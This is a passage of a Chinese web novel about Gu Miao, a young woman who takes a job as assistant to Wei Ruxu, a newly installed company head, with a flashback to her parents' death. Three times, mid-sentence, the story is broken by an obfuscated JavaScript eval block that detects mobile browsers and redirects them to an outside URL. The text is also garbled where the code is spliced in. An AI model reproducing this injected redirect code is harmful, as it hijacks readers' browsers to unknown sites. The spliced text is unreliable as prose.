小孩立刻不哭了,双手接过玩具,直不愣登地看着顾妙。 妈妈哄着孩子:“还不快谢谢阿姨?” 小孩还没说话,顾妙觉得自己的心脏突然抽搐了一下。 行……看你三岁,我比你大十九岁,叫阿姨就叫阿姨吧。 顾妙拉着箱子一转身,看到魏如栩放下了书,正微笑地看着她,想必是奶娃的哭声吸引了他的注意。 “魏总,不好意思,我来晚了。”顾妙走到他面前,尽可能做出一副端庄的表情。 “不晚,一会儿就能登机了,正好。”魏如栩示意她在旁边坐下,脸上浮起温柔的笑,“不像我,总是做不好规划,浪费许多时间候机。” “赶早不赶晚嘛,免得计划赶不上变化。”顾妙坐在魏如栩身边,脸上镇定自若,心里却跳出整首2倍速的《野蜂飞舞》。 这倒不是因为魏如栩多么光芒耀眼,也不是她临场爆发社交恐惧症,而是她突然觉得整件事情突然十分荒唐,产生了严重的不真实感。 我是谁? 我在哪? 我究竟要干什么? 顾妙欲哭无泪,恨不得站起来夺路狂奔,因为她觉得自己离掉马甲这种尴尬场面越来越近了。 “妙妙姐?” “嗯?”顾妙一回头,撞上魏如栩柔和的目光,更觉脊背发凉。 “昨晚我情绪有点失控,突然做的那些决定是不是让你觉得唐突了?”他眼中满怀歉意,“其实我回去想了好久,越想越觉得自己有点犯傻,生怕你把我当坏人。今天在收到你的信息之前,我还有点不安,怕你不来,或者怀疑我别有用心。我想跟你解释,又不知道该怎么说……” 顾妙手里无意识地抠着拉杆箱的拉手,脸上挤出一丝笑来:“也没什么,虽然是奇怪了一点,但……人与人之间还是要有基本的信任嘛。” “嗯,见你来了,我就放心了。看到你刚才帮助那位妈妈,就知道知道你本来就是个热心人。我不太会说话,也不知道该怎么跟你解释整个事情,你有什么问题,尽管问我,只要能打消你的疑虑就好。” 魏如栩诚恳地看着顾妙,眼神如一汪清泉。他身上没有一丝被生活或者挫折磨砺出来的烟火味,整个人温润而清澈,实在很难让人觉得他有什么不可告人的目的。 相由心生,如果一个人心术不正,即便他演技再好,总会露出一丝马脚。 顾妙目不转睛地盯着他的眼睛,而他没有任何逃避地回望着她。 莫名其妙地,她的心跳渐渐放缓,刚刚那种重如雷击般的不适感慢慢褪去,她找回了一点真实的感觉。 “你一直说自己急需人帮忙,难道你在公司没有助理吗?”顾妙轻轻问道。 魏如栩沉吟片刻:“我算是空降,公司还没来得及给我安排助理。” “原来的总助呢?跟着之前的总经理一起辞职了吗?” “我父亲是董事长兼总经理,他突发急病,助理一直跟在他身边帮忙照顾。” “那你家人……” “我是独生子,母亲早些年去世了。” 顾妙怔了怔,感觉到自己不慎戳到了别人的伤口,有些不知所措。 魏如栩看出了她的尴尬,安慰道:“已经是很多年前的事了,不必介意。” “可是……即便这样,从你们公司里任意找一个行政员工都可以顶上,至少他们更了解你公司的情况。你为什么要从外面找?还这么……” 顾妙把“随便”两字生生咽回了肚子里,但魏如栩似乎看出了她的意思,微微一笑:“过于随意了是吧?让你产生这种不好的感觉,真是抱歉。其实对我来说,并不是‘随意’选了你。” 他顿了一下,犹豫地说道:“我们昨天才见面,如果我说得太多,会显得交浅言深,不太恰当。可如果不说清楚就随随便便把你拉扯进来,对你来说也不公平。这一点你能理解吗?” 怎么说得好像要把我卷进什么大阴谋似的,顾妙心想,难不成还九龙夺嫡? 她陪上笑脸:“理解,捡你觉得能说的简单介绍一下就成。” “嘉栩广告是我父亲一手创立的公司,规模不大,员工不到一百人,这些可能你在我公司官网已经了解过了。” 魏如栩试探地看了顾妙一眼,顾妙连忙点头。 要不是在网上查过这确实是一家合法企业,她也不会真这么大大咧咧地跑过来。 “之前公司一直由我父亲掌舵,而我因为兴趣不同,从来没有参与过公司经营。”魏如栩不好意思地笑了笑,“说出来不怕你笑话,我比较像我母亲,偏爱艺术,就连在国外留学学的也是实验当代艺术,可以说对经营公司一窍不通。” 可算是知道这一身不食人间烟火的味儿是打哪来的了,顾妙心道。 她看出魏如栩眉宇间淡淡的忧伤,想起自己父母出事时那种心神俱裂的难过,顿时对魏如栩所有的痛苦感同身受。 就像是一日从天堂跌落地狱,就像胸口被人剖开了一个巨大的洞,鲜血淋漓。 “你父亲的病严重吗?”顾妙突然问道。 魏如栩微微一愣,眉眼间的阴霾更重:“突发心梗,在ICU还没出来。” 顾妙拍拍他的手:“吉人自有天相,他一定会没事的。” “谢谢。”魏如栩眼神中泛起一丝感激,“本来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459381|169685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经营公司的事情,应该交给父亲的那些下属,不管是谁来主持大局,都比我一个什么都不懂的人强。可是我发现有的人……怎么说呢,别有用心。” 顾妙立刻明白了,不是九龙夺嫡,是要犯上作乱啊!难怪他要从公司外找助理,这完全是突闻噩耗之后,又窥得人性之恶的应激反应。 仿佛全世界都在跟他作对,仿佛身边再无可信之人,即便从大街上随便拉一个过来,都比那些整日围绕在他父亲身边、却一朝变脸的人可靠得多。 “的确是挺艰难的,什么都要靠自己,还要防着那些人……”顾妙看了魏如栩一眼,想着他一下子从神仙变成凡人,一身重担压得他喘不过气来,还没学会走路就被逼着要比别人跑得快,才能不被那些老奸巨猾的佞臣玩死,着实不容易。 “我说不是随意选了你,是因为你是第一个肯向我提供帮助的陌生人。虽然我们没说过几句话,但我能看得出来,你热心、可靠、坚强,同时还有一定的生活阅历,对我来说,你是最合适的人选。” 魏如栩认真地看着她,他的眼睛是好看的橄榄型,眼尾狭长,微微上翘。或许是因为疲劳,双眼皮翻出了三层,但也因此,他的目光显得细腻而专注,心虚的人根本承受不住他这一看。 顾妙觉得后背都快让汗湿透了,亲娘啊,我哪有这么好,要不是因为你的颜值和一万五,我怎么会鬼迷了心窍……人间过于真实啊宝贝儿,你还有很多东西要学呢。 “魏总……过誉了……”顾妙口干舌燥,简直不知道说什么好。 “情况你都了解了,如果要做我的助理,可能要和我一起面对一些不怎么美好的事情。所以,如果你改变主意,我不介意的。这次出差就当一次兼职,我会单独跟你结算。”魏如栩轻声对她说,声音如一阵微风一般掠过她的耳畔,“但我非常希望你能留下来帮我。” 顾妙突然隐隐有一种感觉,这位谪仙一样的人物或许并非像她想象的那样是个傻白甜,他实在是太会利用自己的优势了。如果他不是学什么艺术,而是去搞洗脑传销,绝对能搞出一大堆死心塌地追随他的信徒。 “如果我能帮上忙,那倒也好。只是……这样的事情我也没有经历过,我怕……”顾妙犹豫了一下,诚恳地说。 魏如栩自然能听出这是婉拒,翘起嘴角温柔地笑了笑:“不着急决定,等这次出差结束以后再说吧。就当这是一次双向考察,怎么样?” 顾妙放了心,干脆地点头:“好。” 头等舱很宽敞,窝在座椅里十分舒服。但顾妙没体验过经济舱那险恶的生存环境,因此对她目前享受到的一切并没有感觉出跨阶层的优越感。 她看魏如栩已经放平了座椅躺下睡觉,也就没了什么顾忌,点了一堆花花绿绿的肥宅快乐水和零食,打算放纵自己这一次。反正吃一回长不了几两肉,她倒是也不担心。 吃累了玩累了,顾妙扭头看了一眼魏如栩。 他的脸本来就很小,现在大半张脸都埋在毯子下面,只露出一双眼睛。他睡得很沉,看上去任何声音都叫不醒他似的,仿佛疲劳到了极点。 想必这些天他也没怎么休息,一边是乱七八糟的公司事务,一边是父亲的病。年轻人突逢变故,总是不知该如何是好。 顾妙看着魏如栩的长睫毛如同蝴蝶翅膀一般轻轻颤了颤,就像一片羽毛在她心尖上点了一下,回忆如同被惊扰的潭水,漾出一圈圈细小的水纹。 5. 第五章 Hard模式 四年以前,顾妙还只是个除了学业别无所愁的高三党,并不知道人生在世,其实高中这点折磨只算是出新手村的一点小门槛。 而她就仗着这是命运第一个重大考验,在家享受着堪比国宝大熊猫一般的待遇。 早上起不来,妈妈会温柔地把她拉出被窝,给她套好衣服擦好脸,这位公主殿下慢慢醒盹之后再自己草草把剩下的事情整理完。 一坐到餐桌前,爸爸就把刚出锅的早餐摆到她面前,一周七天不重样,摆盘精美,味道熨帖。 顾公主心情好的话,还会拍几张上传朋友圈,故意做出一副嫌弃的嘴脸,发一些“唉,清粥小菜,吃得人嘴里淡出个鸟来”“想念门口小摊地沟油的味道”诸如此类讨骂的话,看到留言的全是羡慕嫉妒恨骂她的,心里别样嘚瑟。 小区里的孩子们有几个上同一个中学,父母们便合伙掏钱包车,专门接送这些公主太子们上下学。 吃完早饭,老爸帮她拎书包走在前面,老妈挽着她的胳膊走在后面,一起把她送到包车会合点,看着她上车,目送汽车远去,才恋恋不舍地回家。 结束一天的折磨,顾妙死狗一般回家,妈妈早就等在门口,先接过她的书包扔给爸爸,接着就把她按进已经放好洗澡水的浴缸里。顾妙眼睛都不用睁,只需要按照指令抬手伸脚即可。 洗完澡,“母上扶起娇无力”,将她一路再送至餐桌前。吃点清淡养胃的夜宵,顾妙便一头栽进席梦思的怀抱,昏天黑地睡过去。 挑灯夜读,备战高考?不存在的。公主殿下怎么能熬坏了眼睛! 跟顾妙相比,由于父母秉承男孩子要贱养的宗旨,彼时才上初二的顾肖简直就是被人压榨的学徒工。 如果闹铃响了他还没起,三秒钟之后老爸就进屋掀被子开窗帘,再不起,就用肢体语言招呼——上脚踹屁股。 洗漱完,顾肖只能吃点公主殿下吃剩的残羹剩饭,一个人背着书包去公交站等车。 晚上回家,由于公主殿下不在家吃晚饭,爸妈懒得做饭,随便吃点什么糊弄一顿就出门遛弯,只留学徒工顾肖同学在家一边做作业一边内心涕泪横流,暗搓搓地自己跟自己撒娇:“人家正在长身体嘤嘤嘤……” 尽管如此,顾肖也懂父母对自己的爱,只是表达方式不同,他并不责怪爸爸妈妈,就是对这个骑在他头上作威作福的姐姐敢怒而不敢言。 顾妙在云巅之上享受着众星捧月的优越感,顾肖这小屁孩根本入不了她的眼。而顾肖深刻体验了一把人间疾苦,一腔愤懑全扑在学习上,坐等顾妙这学渣高考成绩扑街的时候,他拿出令父母满意的成绩单,深藏功与名。 他们家不贫穷不富有,只是中国万千家庭当中最普通的小康之家。但不管有钱没钱,父母对他们极尽宠爱,让他们觉得自己是世界上最幸福的孩子。 然而不知道那天老天爷是不是不小心打了个喷嚏,在写他们一家命运线的时候画错了最至关重要的一笔——只是一个长途司机的疲劳驾驶,只是那么一秒钟的不慎,爸爸妈妈乘坐的出租车被追尾,车后座几乎被轧平了…… 顾妙那会儿正趴在课桌上睡觉,口水流了一卷子。讲课老师对这种情况见怪不怪,还慈祥地让同桌给她盖上一张卷子免得她着凉,而她睡着睡着不知道怎么忽然间猛地抽搐了一下醒了过来。 虽然有无数科普文都说过这种现象叫做“肌抽跃”,不应该就此产生什么封建迷信的联想,可无端爬上脊梁骨的寒意还是让她觉得浑身不舒服。 果然下课的时候,教导主任带着一个女民警来找她,满脸悲怆地跟她简单介绍了一下事情的前因后果,然后带她去了医院。 顾妙只觉得自己好像陷在一个噩梦里没有醒过来,她的躯壳看上去十分冷静,面无表情,一路上一句话都没有,内在的灵魂却在身体里闹得沸反盈天,急不可耐地想要从她自认为的噩梦中苏醒。 她在医院见到了哭得眼睛红肿的顾肖。顾肖那会儿才十四,刚开始发育,长得像根豆芽菜。一见顾妙他就扑了过来,对着她嚎啕大哭:“姐,爸爸妈妈没了……咱们该怎么办啊?!” 顾妙像被针扎了一样推开顾肖,声色俱厉地朝他喊:“鬼嚎什么?丢不丢人?!有我在,饿不死你!” 顾肖被她这一嗓子吓愣了,哆哆嗦嗦像个鹌鹑不敢说话。 一向被父母娇惯的顾妙像是活生生挤出了第二人格,一改往日的刁蛮任性,沉着克制地走完了认尸程序,固执地不让顾肖凑过去看,并且配合着警察和医院办好了所有手续。 那一天,没有像电视剧里那样,但凡主人公的重大挫折便会狂风暴雨、电闪雷鸣,再不然也会六月飞霜、飞沙走石。 那天天清气朗,白云悠悠,有不少人拍了这暮春时节罕见的晴天发朋友圈,纷纷赞叹如此好天气真应该出门踏青。 所以一切都是“蓝天白云、晴空万里”,只有你家里“突然暴风雨”,整个事态客观冷静得令人心寒。 顾妙突然就接受了整个事情,她知道自己再也不是谁心里的主角,只是茫茫苍生中一只普通的蝼蚁,应该学会自己扛起一切,更何况她还有个未成年的弟弟要照顾。 第二天凌晏如从澳洲赶了过来,帮忙料理了后事。她放心不下这对外甥和外甥女,打算在国内多待段时间,甚至还打算等顾妙上了大学,把顾肖带去澳洲念书。 但顾肖首先就不同意,他处女座的计划性不容打乱,本来按他的规划,留学的事情要放在大学毕业之后,现在这么仓促出去,整个感觉都不对,像是逃跑,而不是深造。 更关键的是,他不能在这个时候把姐姐一个人留在国内,那他成什么了? 爸妈不在了,能疼姐姐的只有他了,他死活都不能走。 凌晏如想了想,那不如就把姐弟俩都带走。可顾妙也不愿意。 那时候小姨跟姨夫一起去澳洲没几年,一直在打拼,好不容易开了家饭店稳定下来,公婆就想着让他们俩快点生孩子。 要是顾妙和顾肖一起过去,简直是从天而降的两个大累赘。就算俩人都上寄宿学校,适应环境、学费开支、平时的嘘寒问暖,全都不让人省心。 一来顾妙不想给任何人添麻烦,毕竟天下能毫无道理宠着你的只有父母,即便是近亲,也不能过于任性,这是做人应有的分寸。二来她知道自己只是在死撑,她不是那么坚强的人,如果到了国外,一切从头适应,她语言不通,心结未打开,如果遭遇排挤和歧视,破碎的可能性反而更大一些。 “小姨,你不用担心我们。上个月我就已经满了十八岁,是成年人了,我能照顾弟弟。”顾妙诚恳地跟凌晏如说,“顾肖也很懂事,没什么需要我操心的。我们俩生活重心不过就是‘上学’两个字,简单得很,我们应付得来。” 凌晏如不放心,虽说国内还有远房亲戚,但并不在同一个城市,这俩孩子一个刚成年一个未成年,她作为小姨怎么也不能就此撒手不管。 顾妙第一次在家人面前表现出她执拗的一面,也不是什么激烈抗争,就是从此不接这个话茬。 她没事人一样地照常上下学,把自己埋在功课堆里,通过最后这几个月的抱佛脚,幸运地考上了二本大学。 如果顾妙跟凌晏如大吵大闹,凌晏如倒也应付得来,就是这种无声抗议让她觉得自己浑身力气没处使,最后无奈接受了顾妙的想法。不然还能怎么样,把人绑去澳洲吗? 凌晏如走之前,把所有离得比较近、一天之内能赶过来的亲戚联系方式全都留给了顾妙,她又恨不能把顾妙家附近邻居和街道负责人的电话都抄一遍。反复叮嘱确认之后,才恋恋不舍地上了飞机。 顾妙一个人去送她,在安检口外,给凌晏如留下了一个倔强的微笑。 当天晚上,顾肖睡前喝多了汽水,半夜起夜经过顾妙的卧室,听到一阵奇怪的声音,推门进去看才发现顾妙缩在床头咬着被子压抑地哭,手边放着的是全家福和她的录取通知书。 顾肖想起来,爸爸妈妈答应过,顾妙要是考上大学,全家人就一起出国游。 可如今,父母魂归天国,他们这两个孤单的灵魂又该往何处安放呢? 但令顾肖终于放下心来的是,这个自从父母出事后一直表现得百毒不侵的姐姐,终于能放下伪装,痛痛快快地哭出来,她所有的委屈、所有的眷恋,还有后青春期最后一点习惯性脆弱,都随着泪水逐渐离她而去。 顾肖伸开双臂,用他刚刚才开始抽条的细长胳膊紧紧搂住顾妙的肩膀:“姐,一切有我呢!” 顾妙刚刚嚎出一身汗,鼻子堵得严严实实,大脑一片浆糊,又被这个体温偏高的青少年一搂,顿时觉得呼吸困难,整个人都斯巴达了:“起开,你个火烈鸟!” 满腔好意换 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459382|169685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来一句豪怼,顾肖却并不生气,还意外地觉得顾妙这个比喻十分形象,仿佛连脖子都长了几寸:“真好,终于恢复出厂设置了,之前几个月你这人格分裂的模样吓坏我了,还以为我身边的是个假姐。” “以后你就归我管了。”顾妙鼻音浓重地下诏,“要是敢不听话,就把你发配到澳洲,去小姨那里当电灯泡,发光发热去!” 姐弟俩的日常相处仿佛参考了相声剧本,只可惜两人都是逗哏,一见面就掐。更多时候顾肖这个不说人话的占上风,顾妙的优势在于肢体语言,日渐提升的跆拳道水平也多亏顾肖这个“陪练”。 顾妙的大学就在本市,当初报志愿的时候她考虑的也是每天都可以回家照顾弟弟。然而顾肖长期“学徒工”生涯的生活经验发挥了个十成十,他其实完全不需要人照顾。 只是他看到姐姐从养尊处优的公主突然变成了能御驾亲征的女皇,为了生活不停打各种零工,一边念书一边卖力挣钱,昔日连煮个面条都半生不熟的人,现在不到一个小时就能做出口味还不错的三菜一汤,顿时心里就柔软得不成样子。 顾肖知道姐姐没有这么坚强,她不过是试图用她不甚魁梧的身躯挡在他前面,为他披荆斩棘,不希望他被生活为难。同时她尽力营造出一种生活美满幸福的模样,就可以支撑着自己不去伤春悲秋、自怨自艾,也算是她自我保护的铠甲。 上大学的这四年,顾妙当过服务员、当过家教,在道馆做过陪练、做过调酒师,一到暑假还跑去做导游。仿佛化身钱串子,听到哪里招人就眼冒金光。 其实他们并没有穷到那个程度,虽说坐吃山空,但好歹有点存款,也有保险金,再说凌晏如也会定期给他们寄钱,算下来只要姐弟俩省一点,熬到顾妙大学毕业上班,应该也是可以的。 只是顾妙猛地挑起家庭重担,总觉得赚钱谋生能力就是她的KPI,如果总没有进项,就是她这个家长不负责任。 更何况,她自觉自己不是个学习的材料,把脑子埋进工作里,既能挣钱,又能清空所有负面情绪,实在百利而无一害。 顾肖明白她的心思,也就不去装懂事、跟她抢事做。 他恰如其分地扮演着自己十几岁青春期少年的角色,偶尔发个脾气闹一闹,或者耍无赖,跟顾妙吵一架,既能勾着她把无处安放的脾气释放一些,又能让她有一种自己已经尽责了的满足感。 这让顾妙没有注意到,她这个小弟的中二期,仿佛只有一瞬,就结束了。 顾妙多少有点外强中干,但好在顾肖善解人意,不去拆她的铠甲,只是悄悄担当了她的精神支柱。 打虎亲姐弟,生活这只猛兽,并没什么可怕的。 顾肖自以为天衣无缝,但顾妙也不是傻大憨粗,不可能对顾肖的想法毫无觉察。她知道这是弟弟疼她的表现,当然不会犯傻去拆穿。一家人之间又不太会矫情地说什么“我爱你”“谢谢你”,所有的关怀与疼爱都润物细无声地化入日常生活的每一件琐事里。 因为魏如栩的遭遇,顾妙想起了尘封的往事,眼圈隐隐泛红。而魏如栩睡醒一睁开眼,就撞进了这双眼睛里。 “妙妙姐,你怎么了?”他有点局促不安。一般男孩子见到女孩子哭都会手足无措,更何况还是面对一个比自己大了不少的姐姐。 顾肖摆了摆手:“没什么,刚打了几个哈欠。” 她配合表演地揉了下眼睛,后知后觉地意识到自己今天是画了睫毛膏和眼线的。 根据她平时用的那些劣质化妆品的尿性……她低头一看,果然看到手指上一团黑乎乎的印子。 顾妙尴尬地掏出化妆包,低着头去了洗手间。 镜子里她看到一只眼睛已经被自己揉成了乌眼青,满头泰迪卷也差不多被压平了,简直欲哭无泪,后悔当初自己没去考个化妆师证书,就算是没事儿跟个新娘妆也能挣钱,自己也能用,再不济当美妆博主搞不好还能成网红。怎么就学了一堆有的没的,最适合女孩儿干的她反而从来都没想过。 莫非真是天生的女汉子吗? 等她整理好出来,飞机很快就降落了。魏如栩提前订好了车,将他们两人一路送至酒店。 酒店自然是五星级的,这一点顾妙没有意外,前台问她要身份证的时候,她想都没想就递了过去。身份证脱手的那一刻,顾妙突然觉得不对,本能地冷汗就下来了。 6. 第六章 自以为是 只见前台工作人员一脸奇怪,目光诡异地在顾妙的脸和身份证上来回巡视,顾妙只觉得此刻时空仿佛静止了,她连气都喘不上来。 “有什么问题吗?”魏如栩注意到了异样,偏头看过来。 顾妙噤若寒蝉,尽量保持神色平静,屏息屏出了一张高深莫测的脸,静静地看着前台,一句话也不说。 估计是验过身份证是真的,前台终于开口:“哦,没什么,就是觉得身份证照片和本人不太一样。” “哈,这正常。”魏如栩看了顾妙一眼,安慰似地冲她亮了一下自己的身份证,“我的身份证照也不敢轻易给人看,照得太丑了。不信你看。” 顾妙毕竟颜狗出身,探照灯似的大眼瞬间就抓住了那身份证上的精髓,照片上的男子穿着一件黑衬衣,更衬得那张脸洁白如玉,五官清秀,顿时无语。 长得好看的人,谦虚也是一种罪,好吗? 接着她又瞄到了上面写的出生年月,不由地脱口问了声:“你也22岁?” “是啊,你也觉得我太过年轻了吧。”魏如栩笑笑,“估计公司里的叔叔阿姨也是这么想的。” “啊……我不是那个意思。” “对了,你刚刚说‘也’。谁还是22岁?”魏如栩眨巴眨巴眼睛,好奇地看向顾妙。 顾妙怔了怔:“哦……邻居家孩子。” 前台把房卡给了他们俩,两人便一起往电梯里走去。 循着刚才的话题继续闲聊,顾妙知道了魏如栩是4月18号出生,和她一样是白羊座,只不过自己是3月26号出生的白羊。 同是白羊座,性格竟然相差好多,顾妙猜想魏如栩的月亮星座一定比较温柔,可能是巨蟹或者双鱼什么的。 星座这东西果然是社交利器,能源源不断地产出各种填补尴尬空间的社交废话。 顾妙一边说一边打量着魏如栩,也不知道他到底信不信这一套,反正他一直非常有耐心地配合顾妙,甚至还会感兴趣地提出几个问题。 “我猜妙妙姐你的上升星座一定是摩羯座。” “为什么?” “不都说人三十岁以后就像自己的上升星座吗?你看起来又踏实又能干,跟摩羯座的描写一模一样。” 顾妙暗暗倒吸一口凉气,心想:“这小崽子真会说话,我要当真是这个年龄,保准被他哄得心花怒放。” 她似笑非笑地看了魏如栩一眼:“魏总,话里有话呀?夸得我都不好意思不卖力工作了。” 魏如栩俏皮地吐了吐舌头,不好意思地挠挠头:“居然被发现了。看来我的段位确实很低,以后还要跟你多多学习。” 说话间两人便走到了各自的房间门口,魏如栩一边开门一边问:“妙妙姐,不知道发言稿到什么程度了……” 顾妙刚刷开房门,她把拉杆箱塞进门口,抵住门,扭头说:“草稿写好了,等我修改一下就发给你看。” “那就辛苦你了。”魏如栩笑容温柔,“我想在七点前看到,有什么问题还来得及调整。现在已经五点半了,一个半小时来得及吗?” “来得及来得及,你放心好了!” 顾妙大言不惭,是因为觉得胸有成竹。 她昨晚在网上查了一下,发现十分钟讲话大概需要两千五百字左右,接着扒了很多大佬演讲,把觉得有格局上档次的句子全都记了下来,加上嘉栩广告网页上的介绍,前前后后凑了两千多字。 进了房间,她首先便拿出电脑,从头到尾捋了几遍。查完错别字又查标点符号,谨慎地自己掐表念了一遍发现时长也差不多,最后再听了一遍自己念稿后的录音,修改了几处可能会让人觉得不顺耳的用词。 一个多小时后,她才放心地把这篇发言稿用邮箱发给了魏如栩,同时微信通知了他:“魏总,邮件发过去了,请查收。” “辛苦了妙妙姐,你先休息一会儿,吃饭的时候我喊你。”魏如栩几乎是秒回,回复内容后面还加了个生动的笑容表情包。 顾妙盯着屏幕不知道自己笑容多慈祥,她“咣”地一声趴在客房的豪华大床上,放飞思绪。 她心想,魏如栩这人,家里虽说不是有矿,但也算是个富二代,有着各种骄纵的资本。小时候母亲去世,父亲必然是给了他双倍的宠爱,才纵容他按着自己的爱好去念书,一点管理公司的业务也不学。 这样的孩子,似乎理应纨绔跋扈,再不然霸道点,也没人会说什么。偏偏他有教养懂礼貌,说话温柔识趣,举手投足都是贵公子范,一副家教非常好的样子。自己要是有这么个儿子,估计哪家的姑娘她都看不上。 “诶,这苗头不太对啊!”顾妙翻了个身看着天花板,“莫不是我太入戏了?明明该是女友粉的,怎么成妈粉了?” 她自己胡思乱想着,便觉得困意悄然袭来,不由自主地拥着布料滑溜溜的被子,缓缓闭上眼睛。 也不知道自己到底睡没睡着,但顾妙的意识已经放松并且变得十分模糊。接着放在她耳边的手机突然一声巨响,那声音就像一根猛地扎进她太阳穴的针,刺得她头一疼,心一紧,上了发条似地猛然坐了起来。 急促呼吸了几口气,她才郁闷地把手机拿起来,本以为又是什么app推送,却赫然看到了魏如栩的信息。 “妙妙姐,方便的话,可以到我房间来聊一下发言稿吗?如果你觉得不方便,我们可以去楼下的咖啡厅。” 顾妙的心悬了起来:“难道是发言稿有问题?不至于吧,这东西都不带技术含量的。” 她想了想,十指翻飞给魏如栩回信息:“方便,稍等,我这就过去。” 顾妙冲进洗手间,整理好仪容之后,抱着笔记本电脑出了门,一抬头便看见魏如栩已经十分体贴地把门敞开固定,可以说已经想得非常周到了。 “魏总?” 顾妙站在门口敲了敲门板,看见魏如栩坐在书桌前盯着电脑,没有皱眉没有表情,无从判断他的情绪。 魏如栩扭头看到顾妙,立刻起身,神情依然温和:“请进。” 他搬过旁边的椅子,也放在书桌边,示意顾妙坐下。 顾妙把电脑放在桌上,恰好看到魏如栩的电脑屏幕显示的正是那篇发言稿,上面有标红的,有添加底色的,有标了下划线的,她心里顿时一惊,脱口而出:“这么多问题?!” “做标记是我的习惯,抱歉吓到你了。”魏如栩拿起客房电话,问顾妙,“你想喝什么?咖啡还是……” 顾妙心里七上八下十五只老鼠在跳大绳,喝82年的拉菲也尝不出味道,她有气无力地摇摇头:“不用了,这不是有矿泉水么。” “那好。”魏如栩放下电话,拎了两瓶矿泉水过来。 他先放下另一瓶,贴心地拧开手中这瓶的瓶盖,还没来得及递给顾妙,就见她眼睛紧紧盯着那涂得跟调色盘似的页面屏幕,头也没回地伸手拿了放在桌上的那瓶水。 魏如栩:“……” 她手中一用力,“咔”地拧开了瓶盖。不知为何,魏如栩觉得她拧的不是矿泉水瓶,是他的脖子。 “妙妙姐,你……你别紧张……”魏如栩坐在她旁边,小心翼翼地说,“我就是想叫你过来商量商量,其实没有那么多问题,挺好的……” 顾妙刚才确实是有点受刺激,手里多用了点力气,但听魏如栩这么一说,暗暗叹了一口气。 她扭头看着他,脸上挤出一丝微笑:“魏总,你也别太为我着想。我出来打工的,做的不好就是不好,你尽管提意见。要不然就算拿钱我也于心不安。” 魏如栩仔细看着顾妙的神色,见她眼神平静,语调也正常,没有什么讥讽的意思在里面,也放了心。 “我没骗你,整篇稿子很流畅,逻辑也很清楚,算不上有什么大问题。” “但是?”顾妙看着他欲言又止的模样,就知道还有下文。 “这篇发言取材于很多大佬的讲话对吧?我标出了好几段。”魏如栩指了指标了底色的几段话。 顾妙刚平静下来的心又是一阵心惊肉跳,心想:“这人怕不是个木得感情的人肉查重机?” 魏如栩看着顾妙,认真地说:“我知道你为什么会借鉴他们的发言,这些确实有格局,有亮点,换了我替老板写发言稿,可能也会这么做。但我通篇看完,觉得这不是我会说的话。这篇就像是拿到任何场合都符合标准的发言,太冠冕堂皇了,完全不走心。既不符合我的阅历,也不符合我的身份。” 他每说一个字,就像有一颗钉子扎在顾妙的心上,等他说完,顾妙的心也变成了一张钉板,每跳一下都会把旁边的肌肉扎得生疼。 一时之间,她竟不知道说什么好。 从接到这个任务开始,顾妙就没想过那一万五薪酬的事。她虽然是个钱串子,但从来不妄图骗别人的钱。要赚,就付出百分之百的努力和心血,绝对不会浑水摸鱼。 她也认认真真地思考过,前前后后看了N遍嘉栩广告的介绍,看得几乎快背下来了,扒大佬发言也是怕自己格局不够才这么做。 这只是个业界交流会的露面发言,不涉及更深的行业内容,只要表达一下想法、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459383|169685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 展望一下未来就可以,要不然魏如栩也不会让她这个从未涉足广告行业的人来写。她本以为自己写得足够用心,却没想到换来的是这样的评价。 顾妙心里委屈极了,不是因为魏如栩全盘否定了她写的东西,而是……她好像是辜负了他的信任。 这个人,没跟她说几句话,就要聘用她做助理。还没了解她,就让她来和他一起出差。虽然别人对他有各种各样的猜疑,可这一路到酒店,他表现得就是一个十足的绅士。 他是没有坏心的,赤诚得就像一个从没有经历过欺骗背叛的孩子。 顾妙自己也认为自己足够真诚,到现在听了那几句评语,才发现她远没有自己想的那么用心。 她突然意识到,如果用心的话,她就应该先去问魏如栩他想要什么风格的发言,他是否对这发言有过自己的想法,他有没有想要说给大家听的话。 自已什么都没问,自以为是地东拼西凑了一些看似高大上的东西,就这样草草交给他,还敢自认为认真? 现在看起来,她才是个骗子吧。如果真是一个四十岁有着丰富经验的职场姐姐,怎么可能会发生这样的事? 见顾妙一直垂着眼睛没说话,魏如栩有些不安:“妙妙姐,你别介意,毕竟你对我们公司不了解,对我也不了解。这是我的错。是我没有事前跟你沟通好……” “不,这不是你的问题。”顾妙心里打翻了调味瓶,各种情绪走了一遍,可她在父母去世之后就不再会撒娇撂挑子了,这些年受过的为难也不少,早就学会了不去管情绪,先把当下的事做好。 